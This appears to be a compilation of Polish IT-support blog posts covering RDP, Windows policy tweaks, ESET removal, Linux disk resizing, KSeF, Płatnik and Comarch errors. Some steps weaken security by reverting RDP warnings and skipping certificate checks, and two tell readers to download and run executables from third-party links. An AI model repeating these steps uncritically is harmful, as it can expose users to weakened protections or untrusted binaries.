sun.security.ssl.Alerts.getSSLException(Alerts.java:192)
sun.security.ssl.Alerts.getSSLException(Alerts.java:154)
sun.security.ssl.SSLSocketImpl.recvAlert(SSLSocketImpl.java:2020)
sun.security.ssl.SSLSocketImpl.readRecord(SSLSocketImpl.java:1127)
sun.security.ssl.SSLSocketImpl.performInitialHandshake(SSLSocketImpl.java:1367)
sun.security.ssl.SSLSocketImpl.readDataRecord(SSLSocketImpl.java:931)
sun.security.ssl.AppInputStream.read(AppInputStream.java:105)
sun.nio.cs.StreamDecoder.readBytes(StreamDecoder.java:284)
sun.nio.cs.StreamDecoder.implRead(StreamDecoder.java:326)
sun.nio.cs.StreamDecoder.read(StreamDecoder.java:178)
java.io.InputStreamReader.read(InputStreamReader.java:184)
java.io.BufferedReader.fill(BufferedReader.java:161)
java.io.BufferedReader.read1(BufferedReader.java:212)
java.io.BufferedReader.read(BufferedReader.java:286)
com.google.gson.stream.JsonReader.fillBuffer(JsonReader.java:1295)
com.google.gson.stream.JsonReader.nextNonWhitespace(JsonReader.java:1333)
com.google.gson.stream.JsonReader.doPeek(JsonReader.java:549)
com.google.gson.stream.JsonReader.beginArray(JsonReader.java:343)
com.comarch.mobile.server.connection.MethodThread.run(MethodThread.java:76)

Rozwiązanie tymczasowe to wygenerownaie pliku .rdp z certyfikatem lub wyłączenie opcji sprawdzenia certyfikatu poprzez edycje rejestru co do którego metoda została opisana poniżej:

I’m an IT administrator. How do I temporarily revert the new security dialog?

If the update causes temporary disruptions in your environment, you can revert to the previous dialog behavior by setting a registry value.

1. Select Start, type Registry Editor, and then open it.
2. Go to and modify the key: HKLM\Software\Policies\Microsoft\Windows NT\Terminal Services\Client with the following values:
   • Name: RedirectionWarningDialogVersion
   • Type: REG_DWORD
   • Data: 1

——————

Rozwiązanie docelowe:

Przygotowanie podpisanego pliku .RDP poprzez zakup lub wygenerowanie swojego certyfikatu z odpowiednim autorytatywnym CA.

rdpsign.exe /sha256 TUWPISZSWOJSHA256 PLIKRDP.RDP

SHA256 thumb print pobieramy z certmgr.exe ( certyfikaty\osobiste )

Obsługa na stanowiskach:

1. Pobierz certyfikat zainstaluj na stanowisku roboczym
2. Pobierz podpisany plik .RDP i zapisz w docelowym miejscu z którego chcesz uruchamiać połączenie do pulpitu

Jeśli pojawia się komunikat o weryfikacji możemy dodać odcisk certyfikatu w GPO ( gpedit.msc ) w ścieżce.

Computer Configuration -> TemplatesComponents -> Desktop Services -> Desktop Connection Client -> Specify SHA1 thumprints -> wprowadzamy tutaj odcisk:

Instrukcja krok po kroku

1. Otwórz Wiersz polecenia (cmd.exe) jako administrator.
   Najprościej:
   • kliknij Start
   • wpisz cmd
   • wybierz Uruchom jako administrator
2. Wklej kolejno poniższe polecenia i zatwierdź Enter:

FOR %F IN ("%SystemRoot%\servicing\Packages\Microsoft-Windows-GroupPolicy-ClientTools-Package~*.mum") DO (DISM /Online /NoRestart /Add-Package:"%F")

FOR %F IN ("%SystemRoot%\servicing\Packages\Microsoft-Windows-GroupPolicy-ClientExtensions-Package~*.mum") DO (DISM /Online /NoRestart /Add-Package:"%F")

3. Poczekaj na zakończenie instalacji pakietów.
4. Po zakończeniu naciśnij Windows + R, wpisz:

gpedit.msc

i zatwierdź Enter.

Ważna uwaga

Ta metoda często działa, ale:

• nie jest to oficjalna pełna funkcjonalność wersji Pro / Enterprise,
• część ustawień może nie działać poprawnie w Windows 11 Home,
• najlepiej po wykonaniu operacji uruchomić komputer ponownie.

Dodatkowa wskazówka

Jeżeli chcesz uruchomić te polecenia z pliku .bat, zamiast %F trzeba użyć %%F.

1) Pobierz właściwe narzędzie

Pobierz esetuninstaller.exe — nie „ESET Remover”.
To ważne, bo ten konkretny plik jest przeznaczony do usuwania problematycznych/niekompletnych instalacji.

2) Zapisz plik na Pulpicie

Umieszczenie pliku na Pulpicie ułatwia uruchomienie go w trybie awaryjnym, gdzie dostęp do dysków bywa ograniczony do minimum.

3) Odłącz komputer od Internetu

Odłącz Wi-Fi / kabel LAN.
Dzięki temu unikasz:

• automatycznych aktualizacji,
• ponownego uruchomienia usług ochrony w tle,
• pobierania komponentów w trakcie czyszczenia instalacji.

4) Uruchom komputer w Trybie awaryjnym (Windows)

Wejdź kolejno:
Start → Zasilanie → (trzymając SHIFT) „Uruchom ponownie” → Rozwiąż problemy → Opcje zaawansowane → Ustawienia uruchamiania → Restart → klawisz 4 (Tryb awaryjny)

Tryb awaryjny uruchamia system z minimalną liczbą usług — dzięki temu ESET da się usunąć „do końca”, bez blokad.

5) Uruchom ESET Uninstaller

W trybie awaryjnym uruchom plik:
esetuninstaller.exe

Najlepiej: prawy przycisk myszy → Uruchom jako administrator (jeśli opcja jest dostępna).

6) Potwierdź start narzędzia

W konsoli narzędzie poprosi o potwierdzenie — wpisz:
y i zatwierdź Enterem.

7) Wybierz produkt ESET do usunięcia

Program wyświetli listę wykrytych produktów ESET — również tych uszkodzonych (np. po niepełnej dezinstalacji lub po użyciu Revo).

Wpisz numer odpowiadający produktowi (np. 1) i naciśnij Enter.

8) Potwierdź usunięcie

Narzędzie poprosi o ostateczne potwierdzenie — wpisz:
y i zatwierdź.

9) Uruchom komputer ponownie do trybu normalnego

Po zakończeniu procesu wykonaj restart systemu i uruchom Windows standardowo.

10) Zainstaluj ESET ponownie

Po restarcie uruchom instalator ESET.
W większości przypadków instalacja przechodzi bez błędu MSI 1714, bo system nie ma już pozostałości po wcześniejszej, uszkodzonej instalacji.

Dobre praktyki po operacji

• Dopiero po udanej instalacji podłącz ponownie Internet.
• Jeśli komputer był w domenie/firmowym środowisku, warto sprawdzić, czy nie ma polityk lub innego AV blokującego instalację.
• Jeżeli błąd wraca, zwykle oznacza to, że w systemie nadal zostały wpisy MSI/Windows Installer po poprzedniej instalacji — wtedy warto sprawdzić dzienniki instalatora i usługę Windows Installer.

Autor: Radosław Skórka

Poniżej najczęstszy scenariusz: /dev/sda1 to główna partycja, a SWAP jest na końcu dysku i blokuje powiększenie. Rozwiązanie: usuwamy partycję SWAP (tymczasowo), rozszerzamy główną partycję i system plików, a swap (opcjonalnie) odtwarzamy później jako plik.

1) Sprawdź, czy system widzi nowy rozmiar dysku

W VM uruchom:

lsblk
fdisk -l /dev/sda

Jeśli widzisz, że /dev/sda ma większy rozmiar, ale partycje nadal są „po staremu” — działamy dalej.

2) Typowy problem: SWAP jest ostatnią partycją i blokuje rozszerzenie

Najczęściej układ jest podobny do:

• /dev/sda1 → system (root)
• /dev/sda2 → swap (ostatnia partycja)

Aby móc powiększyć /dev/sda1, musimy usunąć SWAP (bo „siedzi” na końcu i nie ma jak przesunąć granic).

Wyłącz SWAP (ważne!)

swapoff -a

3) Usuń partycję SWAP w fdisk

Uwaga: usuwamy partycję swap (nie ruszamy systemowej).

fdisk /dev/sda

W fdisk:

1. p — podgląd partycji (sprawdź numer SWAP)
2. d — usuń partycję
3. wpisz numer partycji SWAP (np. 2)
4. w — zapisz zmiany i wyjdź

Po zapisaniu warto odświeżyć tablicę partycji (zwykle samo zadziała po w, ale bywa że trzeba):

partprobe /dev/sda

4) Powiększ partycję (growpart)

Załóżmy, że system jest na /dev/sda1:

growpart /dev/sda 1

To rozszerzy partycję numer 1 do końca wolnego miejsca na dysku.

5) Powiększ system plików (resize2fs dla ext4)

Jeśli masz ext4 na /dev/sda1:

resize2fs /dev/sda1

I gotowe — system plików urósł do nowego rozmiaru.

Sprawdź wynik:

df -h
lsblk

6) (Opcjonalnie) Przywróć SWAP — najprościej jako plik

Zamiast tworzyć ponownie partycję (i znów komplikować układ dysku), w większości przypadków najwygodniej zrobić swapfile.

Przykład: swap 2 GB:

fallocate -l 2G /swapfile
chmod 600 /swapfile
mkswap /swapfile
swapon /swapfile

Dodaj trwały wpis do /etc/fstab:

echo '/swapfile none swap sw 0 0' >> /etc/fstab

Od 1 lutego 2026 działa produkcyjnie KSeF 2.0 – i nawet jeśli obowiązek wystawiania e-faktur wchodzi etapami, to odbieranie faktur z KSeF dotyczy wszystkich firm, bo kontrahent może wystawić dokument i “dostarczyć” go wyłącznie przez system.
W tym poradniku pokazuję, jak w praktyce zalogować się i pobrać fakturę w kilku minutach.

Co się zmieniło od 1 lutego 2026 (krótko i konkretnie)

• KSeF 2.0 został uruchomiony 1.02.2026 i działa jako docelowy system.
• W komunikatach podkreślono też, że w 2026 r. nie ma kar za błędne stosowanie KSeF (to ważne, jeśli dopiero wdrażasz procesy).
• Harmonogram obowiązku wystawiania jest etapowy (m.in. próg “dużych” podatników), ale niezależnie od tego — warto umieć odebrać fakturę już teraz.

Jakie masz 3 bezpłatne sposoby na odbieranie faktur z KSeF

Ministerstwo Finansów udostępnia narzędzia, z których możesz korzystać bezpłatnie:

1. Aplikacja Podatnika KSeF 2.0 (www) – przez przeglądarkę na portalu KSeF
2. Aplikacja Mobilna KSeF – na telefon (od 1 lutego 2026)
3. e-mikrofirma – dostępna przez e-Urząd Skarbowy

W tym artykule pokazuję wariant najprostszy i najczęstszy: Aplikacja Podatnika KSeF 2.0 w przeglądarce.

Instrukcja ze screenami: logowanie i pobieranie faktury w Aplikacji Podatnika KSeF 2.0

Wskazówka do publikacji: wstaw screeny dokładnie w miejscach oznaczonych jako [SCREEN X]. Dodałem też propozycje podpisów i altów.

Krok 1. Wejdź na stronę KSeF i wybierz logowanie

Wejdź na oficjalny portal: ksef.podatki.gov.pl i przejdź do logowania / Aplikacji Podatnika.

[SCREEN 1] Strona startowa KSeF / kafel “Zaloguj się”

• Podpis: „Start portalu KSeF 2.0 – wejście do logowania”
• ALT: „Strona ksef.podatki.gov.pl z przyciskiem logowania do KSeF”

Krok 2. Wybierz metodę uwierzytelnienia

Na ekranie logowania wybierzesz metodę wejścia, np.:

• Profil Zaufany,
• podpis kwalifikowany,
• inne metody dostępne w systemie (zależnie od Twojej sytuacji).

Najczęściej wybierany jest Profil Zaufany.

[SCREEN 2] Ekran wyboru metody logowania

• Podpis: „Wybór metody uwierzytelnienia (np. Profil Zaufany)”
• ALT: „Ekran logowania KSeF – lista metod uwierzytelnienia”

Krok 3. Zaloguj się przez Profil Zaufany i potwierdź dane firmy

Po wybraniu logowania Profilem Zaufanym system poprosi o potwierdzenie (zależnie od ścieżki) i zwykle o wskazanie firmy, np. poprzez NIP.

[SCREEN 3] Logowanie Profilem Zaufanym / wskazanie NIP

• Podpis: „Logowanie i wybór firmy po NIP”
• ALT: „Pole NIP i ekran potwierdzenia logowania”

Krok 4. Wejdź w zakładkę „Faktury”

Po poprawnym zalogowaniu przejdź do modułu faktur (najczęściej w menu po lewej). Tam zobaczysz:

• faktury otrzymane,
• faktury wystawione,
• opcje wyszukiwania / filtrowania.

[SCREEN 4] Widok po zalogowaniu – menu i zakładka „Faktury”

• Podpis: „Panel KSeF: przejście do listy faktur”
• ALT: „Panel Aplikacji Podatnika KSeF 2.0 z menu po lewej stronie”

Krok 5. Wyszukaj fakturę (filtry)

Najwygodniej od razu użyć filtrów:

• zakres dat (np. ostatnie 7/30 dni),
• NIP sprzedawcy,
• numer faktury / identyfikator,
• statusy, typ dokumentu.

[SCREEN 5] Filtry wyszukiwania faktur

• Podpis: „Filtry – zawęź listę do konkretnego sprzedawcy i dat”
• ALT: „Sekcja filtrów listy faktur w KSeF”

Krok 6. Otwórz szczegóły i pobierz fakturę (PDF lub XML)

Po kliknięciu w pozycję z listy przejdziesz do szczegółów. W Aplikacji Podatnika KSeF 2.0 dostępne są m.in. opcje wyszukania i pobrania dokumentów w formatach XML lub PDF.

[SCREEN 6] Szczegóły faktury + przycisk pobierania (PDF/XML)

• Podpis: „Pobranie faktury w PDF (do podglądu) lub XML (do systemu księgowego)”
• ALT: „Szczegóły faktury w KSeF z opcją pobrania pliku”

Krok 7. Co jeśli lista faktur jest pusta?

Najczęstsze powody:

1. Nikt jeszcze nie wystawił Ci faktury w KSeF (część firm nadal wysyła “stare” PDF-y).
2. Filtry są zbyt wąskie (np. zły zakres dat).
3. Logujesz się na inny podmiot (np. pomyłka w NIP / wybór firmy).

Szybki test: ustaw filtr na szeroki zakres (np. 90 dni) i usuń pozostałe kryteria.

Krok 8. Dostęp anonimowy do faktury — kiedy ma sens?

Na ekranie logowania może występować opcja anonimowego dostępu do faktury, ale zwykle wymaga to posiadania konkretnego identyfikatora faktury (np. numeru KSeF / danych do jednoznacznego wskazania dokumentu). To przydaje się np. gdy kontrahent poda Ci identyfikator i chcesz szybko pobrać dokument bez pełnego “przeklikiwania”.

[SCREEN 7] Opcja „anonimowy dostęp do faktury”

• Podpis: „Anonimowy dostęp – gdy masz identyfikator faktury”
• ALT: „Ekran logowania z opcją anonimizowanego dostępu”

Najczęstsze problemy i szybkie rozwiązania

Problem 1: „Nie mogę się zalogować”

• Sprawdź, czy działa Profil Zaufany / podpis kwalifikowany.
• Spróbuj ponownie w innej przeglądarce lub w trybie prywatnym.

Problem 2: „Nie widzę faktur od kontrahenta”

• Poproś kontrahenta o potwierdzenie, że dokument został wystawiony w KSeF (a nie “tradycyjnie”).
• Poszerz zakres dat i usuń filtry.

Problem 3: „Kto w firmie ma dostęp?”

W przypadku JDG zwykle logujesz się jako właściciel. W spółkach i większych organizacjach kluczowe są uprawnienia i zarządzanie dostępem w KSeF (to temat na osobny poradnik / wdrożenie). Aplikacja Podatnika KSeF 2.0 ma moduły do zarządzania uprawnieniami.

Podsumowanie

Jeśli chcesz tylko odebrać fakturę z KSeF, najprostsza ścieżka to:
ksef.podatki.gov.pl → logowanie (np. Profil Zaufany) → Faktury → wyszukaj → pobierz PDF/XML.

Połączenie PFX z CRT i KEY:

C:\Program Files\OpenSSL-Win64\bin>openssl pkcs12 -export -out pliknazwa.pfx -inkey plik-OFFLINE.key -in plik-OFFLINE.crt

Problem zawieszania się połączeń RDP (Pulpit zdalny) to dość częste zjawisko. W zależności od wersji systemu Windows oraz jakości łącza, sesja potrafi nagle „stanąć” — obraz się zatrzymuje, a połączenie formalnie nadal trwa. Bywa to mocno frustrujące i realnie obniża produktywność.

W tym poradniku wyjaśniamy, co najczęściej powoduje ten problem oraz jak go szybko ograniczyć.

Najczęstsza przyczyna

W wielu środowiskach problem wiąże się z tym, że RDP (szczególnie w trybie wykorzystującym UDP) jest bardziej wrażliwy na utratę pakietów, opóźnienia lub ich uszkodzenia. Jeśli sieć jest niestabilna (Wi-Fi, LTE, przeciążone łącze, VPN, jitter), to transmisja po UDP może skutkować „zawieszeniem” obrazu zamiast płynnego odzyskania sesji.

Dodatkowo, w niektórych wersjach Windows obserwowano sytuacje, w których przełączanie mechanizmów transportu (TCP/UDP) nie przebiega płynnie, co potrafi pogłębiać problem.

Jak to naprawić: wyłączenie UDP dla klienta RDP

Najprostszą i często skuteczną metodą jest wyłączenie UDP po stronie klienta RDP, aby wymusić korzystanie wyłącznie z TCP (zwykle stabilniejszego w trudnych warunkach sieciowych).

1. Uruchom Wiersz polecenia (cmd.exe) jako administrator.
2. Wykonaj polecenie:

reg add "HKLM\software\policies\microsoft\windows nt\Terminal Services\Client" /v fClientDisableUDP /d 1 /t REG_DWORD

Po zastosowaniu tej zmiany klient RDP będzie zestawiał sesje z użyciem TCP zamiast UDP, co często poprawia stabilność — zwłaszcza w sieciach z utratą pakietów, dużym opóźnieniem lub przy połączeniach przez VPN.

„Nie określono nazwy certyfikatu OOP”
…to najczęściej oznacza problem z certyfikatem ZUS używanym do szyfrowania przesyłek (zwykle „zaciął się” wpis w konfiguracji i trzeba pobrać go ponownie).

Dobra wiadomość: w większości przypadków da się to naprawić od ręki — bez reinstalacji Płatnika.

Szybkie rozwiązanie (krok po kroku)

1. Otwórz w Płatniku menu:
   Przekaz → Ustawienia przekazu elektronicznego
2. Przejdź do zakładki:
   Certyfikaty
3. Na dole znajdziesz sekcję z certyfikatem ZUS (certyfikat Zakładu Ubezpieczeń).
   Kliknij:
   • Usuń z konfiguracji
   • następnie Pobierz
4. Zapisz ustawienia:
   Zapisz → OK

Po tej operacji Płatnik pobierze aktualny certyfikat ZUS i błąd zwykle znika od razu.

Co warto sprawdzić, jeśli problem wraca

Żeby certyfikaty poprawnie się podstawiły, dopilnuj też tych rzeczy:

• karta z ważnym podpisem kwalifikowanym jest w czytniku, czytnik działa,
• Płatnik ma możliwość pobrania aktualizacji (w tle pobiera m.in. listy TSL/CRL),
• w zakładce Przekaz → Ustawienia przekazu elektronicznego masz zaznaczoną opcję typu „Komunikacja automatyczna ZUS…” i zapisane ustawienia.

Jak powinno wyglądać poprawnie?

Po prawidłowym pobraniu certyfikatu w zakładce Certyfikaty nazwa certyfikatu do szyfrowania przesyłek ZUS powinna się wyświetlać poprawnie (często spotykana nazwa to np. PE-2-ZUS-EWD).

Dla pewności możesz uruchomić test w Płatniku:
Przekaz → Uruchom weryfikację wstępną
Jeśli wszystko jest OK, zobaczysz komunikat w stylu:
„Obecny stan certyfikatów pozwala na przekazywanie przesyłek do ZUS”.

Najczęstsze powiązane problemy (krótkie podpowiedzi)

• „Zestaw kluczy nie istnieje”
  Najczęściej: brak/nieaktualne komponenty karty (np. CryptoCard Suite), problem ze sterownikami czytnika, karta włożona „na styk”.
• „Wystąpił błąd podczas składania podpisu…”
  Sprawdź PIN (często wymagane 6–8 znaków) i aktywację karty w menedżerze komponentu.
• „Określono nieprawidłowy algorytm”
  Zwykle pomaga aktualizacja komponentów/oprogramowania karty i weryfikacja PIN.

Potrzebujesz pomocy?

Jeśli utknąłeś na którymś kroku albo błąd wraca cyklicznie (np. na kilku stanowiskach), warto sprawdzić uprawnienia, aktualizacje, certyfikaty systemowe i komponenty karty. W razie czego możemy to ogarnąć zdalnie w kilkanaście minut.

Błąd w Płatniku: „Nie określono nazwy certyfikatu OOP” – jak naprawić w 2 minuty

Jeśli podczas wysyłki dokumentów z programu Płatnik do ZUS pojawia się komunikat:

„Nie określono nazwy certyfikatu OOP”
…to najczęściej oznacza problem z certyfikatem ZUS używanym do szyfrowania przesyłek (zwykle „zaciął się” wpis w konfiguracji i trzeba pobrać go ponownie).

Dobra wiadomość: w większości przypadków da się to naprawić od ręki — bez reinstalacji Płatnika.

Szybkie rozwiązanie (krok po kroku)

1. Otwórz w Płatniku menu:
   Przekaz → Ustawienia przekazu elektronicznego
2. Przejdź do zakładki:
   Certyfikaty
3. Na dole znajdziesz sekcję z certyfikatem ZUS (certyfikat Zakładu Ubezpieczeń).
   Kliknij:
   • Usuń z konfiguracji
   • następnie Pobierz
4. Zapisz ustawienia:
   Zapisz → OK

Po tej operacji Płatnik pobierze aktualny certyfikat ZUS i błąd zwykle znika od razu.

Co warto sprawdzić, jeśli problem wraca

Żeby certyfikaty poprawnie się podstawiły, dopilnuj też tych rzeczy:

• karta z ważnym podpisem kwalifikowanym jest w czytniku, czytnik działa,
• Płatnik ma możliwość pobrania aktualizacji (w tle pobiera m.in. listy TSL/CRL),
• w zakładce Przekaz → Ustawienia przekazu elektronicznego masz zaznaczoną opcję typu „Komunikacja automatyczna ZUS…” i zapisane ustawienia.

Jak powinno wyglądać poprawnie?

Po prawidłowym pobraniu certyfikatu w zakładce Certyfikaty nazwa certyfikatu do szyfrowania przesyłek ZUS powinna się wyświetlać poprawnie (często spotykana nazwa to np. PE-2-ZUS-EWD).

Dla pewności możesz uruchomić test w Płatniku:
Przekaz → Uruchom weryfikację wstępną
Jeśli wszystko jest OK, zobaczysz komunikat w stylu:
„Obecny stan certyfikatów pozwala na przekazywanie przesyłek do ZUS”.

Najczęstsze powiązane problemy (krótkie podpowiedzi)

• „Zestaw kluczy nie istnieje”
  Najczęściej: brak/nieaktualne komponenty karty (np. CryptoCard Suite), problem ze sterownikami czytnika, karta włożona „na styk”.
• „Wystąpił błąd podczas składania podpisu…”
  Sprawdź PIN (często wymagane 6–8 znaków) i aktywację karty w menedżerze komponentu.
• „Określono nieprawidłowy algorytm”
  Zwykle pomaga aktualizacja komponentów/oprogramowania karty i weryfikacja PIN.

Potrzebujesz pomocy?

Jeśli utknąłeś na którymś kroku albo błąd wraca cyklicznie (np. na kilku stanowiskach), warto sprawdzić uprawnienia, aktualizacje, certyfikaty systemowe i komponenty karty. W razie czego możemy to ogarnąć zdalnie w kilkanaście minut.

Telefon: 503-683-550 / MAIL: DS@DAWIDSOBIERAJ.PL

Certyfikat będzie dostępny pod linkiem http://www.zus.pl/bip/pliki/PE-2-ZUS-EWD.pem.

Program Płatnik pozwala na automatyczne pobranie certyfikatu przez opcje: [Przekaz] -> [Ustawienia przekazu elektronicznego] -> [Certyfikaty] -> [Usuń z konfiguracji], a następnie [Pobierz] i [Zapisz].

Aktualizacja certyfikatu jest niezbędna, aby program Płatnik działał poprawnie i komunikował się z systemem informatycznym ZUS.

• Numer SN dotychczasowego certyfikatu: 273e543d5933f8e6331a13d2e24e25e2
• Numer SN nowego certyfikatu: 77798805994d053dd0d2952dbcafdf99

Uwaga!
W przypadku pojawienia się błędu niepoprawnej weryfikacji certyfikatu ZUS (tak jak na poniższym zrzucie) należy pobrać plik i przy wyłączonym programie uruchomić jako administrator plik dostępny pod linkiem: https://redir.cache.orange.pl/zus/pobierz/dystrybucja/dodatki/P2StartFix.exe

Aktualizacja do COMARCH 2026.1 u części firm kończy się błędem po stronie bazy danych Microsoft SQL Server:

Incorrect syntax near the keyword 'IF'

Najczęściej pojawia się w trakcie aktualizacji/konwersji bazy albo przy uruchamianiu modułów po podbiciu wersji. Poniżej masz sprawdzony schemat działania: co to oznacza, skąd się bierze i jak to szybko odblokować.

Objawy problemu

Najczęściej zauważysz jedno z poniższych:

• aktualizacja do 2026.1 przerywa się na etapie wykonywania skryptów SQL,
• konwersja bazy nie kończy się powodzeniem,
• aplikacja uruchamia się, ale część funkcji nie działa / wysypuje się na zapytaniach SQL,
• w logach/komunikatach instalatora widnieje: Incorrect syntax near the keyword 'IF'.

Skąd bierze się ten błąd?

Ten komunikat niemal zawsze oznacza niezgodność składni SQL w skrypcie aktualizacyjnym z wersją silnika SQL Server, na której pracuje Twoja baza.

W praktyce: COMARCH 2026.1 wykonuje skrypty, które wymagają nowszego SQL (funkcje/składnia T-SQL), a serwer bazodanowy jest zbyt stary albo nie ma wymaganych poprawek (CU).

Najszybsze rozwiązanie (rekomendowane)

1) Zaktualizuj Microsoft SQL Server do min. 2017 + poprawki CU

Wymagane minimum: SQL Server 2017 + aktualne Cumulative Update (CU).

Co warto zrobić po kolei (w skrócie, bezpiecznie):

1. Zrób pełny backup bazy (oraz – jeśli to możliwe – snapshot VM).
2. Sprawdź wersję SQL (na serwerze SQL, w SSMS):
   • SELECT @@VERSION;
3. Jeżeli masz starszą wersję niż 2017 – wykonaj upgrade do SQL 2017 (lub nowszego).
4. Po upgrade koniecznie doinstaluj aktualny CU (same „gołe” wydanie może nie wystarczyć).
5. Uruchom ponownie usługę SQL i dopiero wtedy ponów aktualizację/konwersję COMARCH 2026.1.

Ważne: Nie rób tego „na żywca” w godzinach pracy, jeśli firma stoi na tej bazie. Zaplanuj okno serwisowe.

Gdy nadal sypie błędem – szybka ścieżka awaryjna

Jeżeli musisz pilnie przywrócić działanie systemu (np. księgowość/handel nie może stać), masz bezpieczny wariant „cofki” i ponowienia aktualizacji.

2) Cofnij się do wersji 2026.0.1, wykonaj aktualizację i konwersję, a potem wróć do 2026.1

Link do paczki:

• 2026.0.1: https://www.ibard.com/d/ebead88f4b10a818ce8a54181f4b7d02ff8d607b#/

Procedura (logicznie, krok po kroku):

1. Backup bazy + backup katalogów programu (minimum).
2. Zainstaluj/uruchom wersję COMARCH 2026.0.1.
3. Wykonaj aktualizację i konwersję bazy na 2026.0.1 (do końca, bez błędów).
4. Dopiero po udanej konwersji przejdź ponownie na COMARCH 2026.1 i powtórz proces aktualizacji.

To podejście często „przeprowadza” bazę przez etap pośredni i redukuje ryzyko, że skrypty 2026.1 natrafią na nieprzygotowany schemat.

Checklista diagnostyczna (gdy chcesz szybko ocenić sytuację)

• Jaka jest wersja SQL? (mniej niż 2017 = prawie pewna przyczyna)
• Czy SQL ma aktualne CU?
• Czy na serwerze jest SSMS i masz możliwość podglądu logów?
• Czy masz aktualny backup bazy przed zmianami?
• Czy konwersja bazy na 2026.0.1 przechodzi poprawnie?

Kiedy warto od razu wezwać wsparcie?

Jeżeli:

• baza jest duża i krytyczna (produkcja/księgowość),
• update robi się na serwerze terminalowym/klastrze,
• masz kilka instancji SQL i nie jesteś pewien, na której pracuje COMARCH,
• pojawiają się dodatkowe błędy w logach (timeouty, uprawnienia, blokady, uszkodzone indeksy),

…to zamiast „kręcić śrubki” na ślepo, lepiej zrobić to metodycznie.

3) Skontaktuj się z wsparciem IT DSERVE

W DSERVE możemy przejąć temat end-to-end: weryfikacja wersji SQL, backupy, upgrade SQL, poprawki CU, bezpieczna konwersja COMARCH, testy i przywrócenie dostępności.

Podsumowanie

Jeśli w COMARCH 2026.1 widzisz błąd:

Incorrect syntax near the keyword 'IF'

to najczęściej oznacza:

1. SQL Server jest za stary lub bez CU → aktualizuj min. do SQL 2017 + CU,
2. jeśli potrzebujesz szybkiej awaryjnej ścieżki → cofka do 2026.0.1, konwersja, potem powrót do 2026.1,
3. gdy temat jest krytyczny → zgłoś to do wsparcia IT DSERVE.

Jeśli po zestawieniu VPN na Windows 10/11 nagle przestają działać udziały na NAS (SMB), mapowania dysków albo logowanie po AD – a lokalnie (bez VPN) wszystko jest OK – to bardzo możliwe, że wpadłeś w klasyczny „numer” z menedżerem poświadczeń.

W skrócie: przy niektórych konfiguracjach VPN (szczególnie L2TP/PPTP) Windows potrafi przekazać poświadczenia użytkownika VPN do systemu jako wpis typu *Session. Wtedy podczas próby dostępu do zasobów SMB system używa „złych” danych logowania i uwierzytelnianie do NAS/AD przestaje działać prawidłowo.

Objawy

Najczęściej spotkasz:

• brak dostępu do udziałów na NAS po połączeniu VPN (\NAS\udział)
• komunikaty typu „Odmowa dostępu”, „Nieprawidłowa nazwa użytkownika lub hasło”, albo pętla proszenia o login
• mapowane dyski rozłączają się albo nie wstają po VPN
• w cmdkey /list pojawia się wpis z użytkownikiem VPN jako *Session

Dlaczego tak się dzieje (w praktyce)

Po zestawieniu tunelu VPN Windows może przechowywać/propagować poświadczenia użyte do VPN i automatycznie stosować je przy kolejnych połączeniach sieciowych.

Efekt uboczny: kiedy próbujesz wejść na NAS, system nie zawsze pyta o właściwe konto domenowe – tylko „przykleja” poświadczenia z VPN i próbuje nimi zalogować SMB.

Rozwiązanie 1: wyłącz przekazywanie poświadczeń VPN (UseRasCredentials)

To najczęściej działa od razu.

1. Otwórz plik konfiguracyjny połączeń RAS:

%APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk

2. Znajdź sekcję Twojego połączenia VPN (nazwa w nawiasach kwadratowych), np.:

[VPN-FIRMA]

…

UseRasCredentials=1

3. Zmień wartość:

UseRasCredentials=0

4. Rozłącz i połącz VPN ponownie.

Szybka walidacja

• Uruchom cmdkey /list i sprawdź, czy po ponownym połączeniu VPN nie pojawia się problematyczny wpis *Session powiązany z loginem VPN.
• Wejdź na \\NAS\\udział lub odśwież mapowanie dysku.

Rozwiązanie 2: polityka bezpieczeństwa (AD / Local Security Policy)

Jeżeli chcesz podejść do tego „systemowo” (szczególnie w środowisku domenowym), możesz włączyć ustawienie:

Network access: Do not allow storage of passwords and credentials for network authentication

To ogranicza przechowywanie poświadczeń do uwierzytelniania sieciowego, co często eliminuje efekt uboczny z automatycznym „podpinaniem” poświadczeń VPN.

Uwaga: to ustawienie może wpłynąć na inne scenariusze (np. zapamiętywanie haseł do zasobów sieciowych). Warto przetestować na grupie pilotowej.

Dodatkowe tipy (jeśli nadal boli)

• Upewnij się, że do NAS łączysz się jednym formatem tożsamości (np. DOMENA\\użytkownik albo użytkownik@domena). Mieszanie formatów potrafi generować konflikty.
• Sprawdź, czy nie masz zapisanych poświadczeń do NAS w Credential Manager (Panel sterowania → Menedżer poświadczeń) – czasem stary wpis potrafi „wygrać”.
• Jeżeli używasz kilku VPN lub wielu domen/serwerów SMB, rozważ uporządkowanie polityki mapowań i zasad logowania.

Podsumowanie

Jeśli po połączeniu VPN nagle NAS/SMB nie działa, a widzisz w systemie poświadczenia typu *Session, to bardzo prawdopodobne, że Windows próbuje używać konta VPN do dostępu do udziałów sieciowych.

Najprostszy fix to zmiana:

• UseRasCredentials=1 → UseRasCredentials=0 w rasphone.pbk

A jeśli chcesz to ustandaryzować w firmie – dołóż politykę:

• Network access: Do not allow storage of passwords and credentials for network authentication

Wprowadzenie

QNAP TS-231P to przykładowy dwuzatokowy serwer NAS kierowany do użytkowników domowych i małych firmforum.qnap.net.pl. Urządzenie pozwala na centralne przechowywanie plików, automatyczne kopie zapasowe, udostępnianie danych w sieci lokalnej oraz zdalny dostęp przez Internet. Poniżej przedstawiamy zbiór polskojęzycznych materiałów – filmy instruktażowe, dokumentację i praktyczną “ściągę” kroków – które pomogą w pierwszej konfiguracji i efektywnym wykorzystaniu NAS QNAP.

Polskojęzyczne filmy instruktażowe (YouTube)

Dostępnych jest wiele oficjalnych nagrań wideo w języku polskim, prezentujących obsługę QNAP. Poniżej zebrano aktualne filmy instruktażowe dotyczące kluczowych zagadnień:

• Pierwsza konfiguracja QNAP (inicjalizacja): QNAP – Pierwsze uruchomienie i konfiguracja bazowa – pełny zapis webinaru prezentującego proces inicjalizacji i wstępnej konfiguracji nowego serwera QNAPyoutube.com. Dowiesz się jak przebiega pierwsze uruchomienie urządzenia, kreator instalacji QTS oraz podstawowe ustawienia (hasło administratora, sieć, RAID itp.).
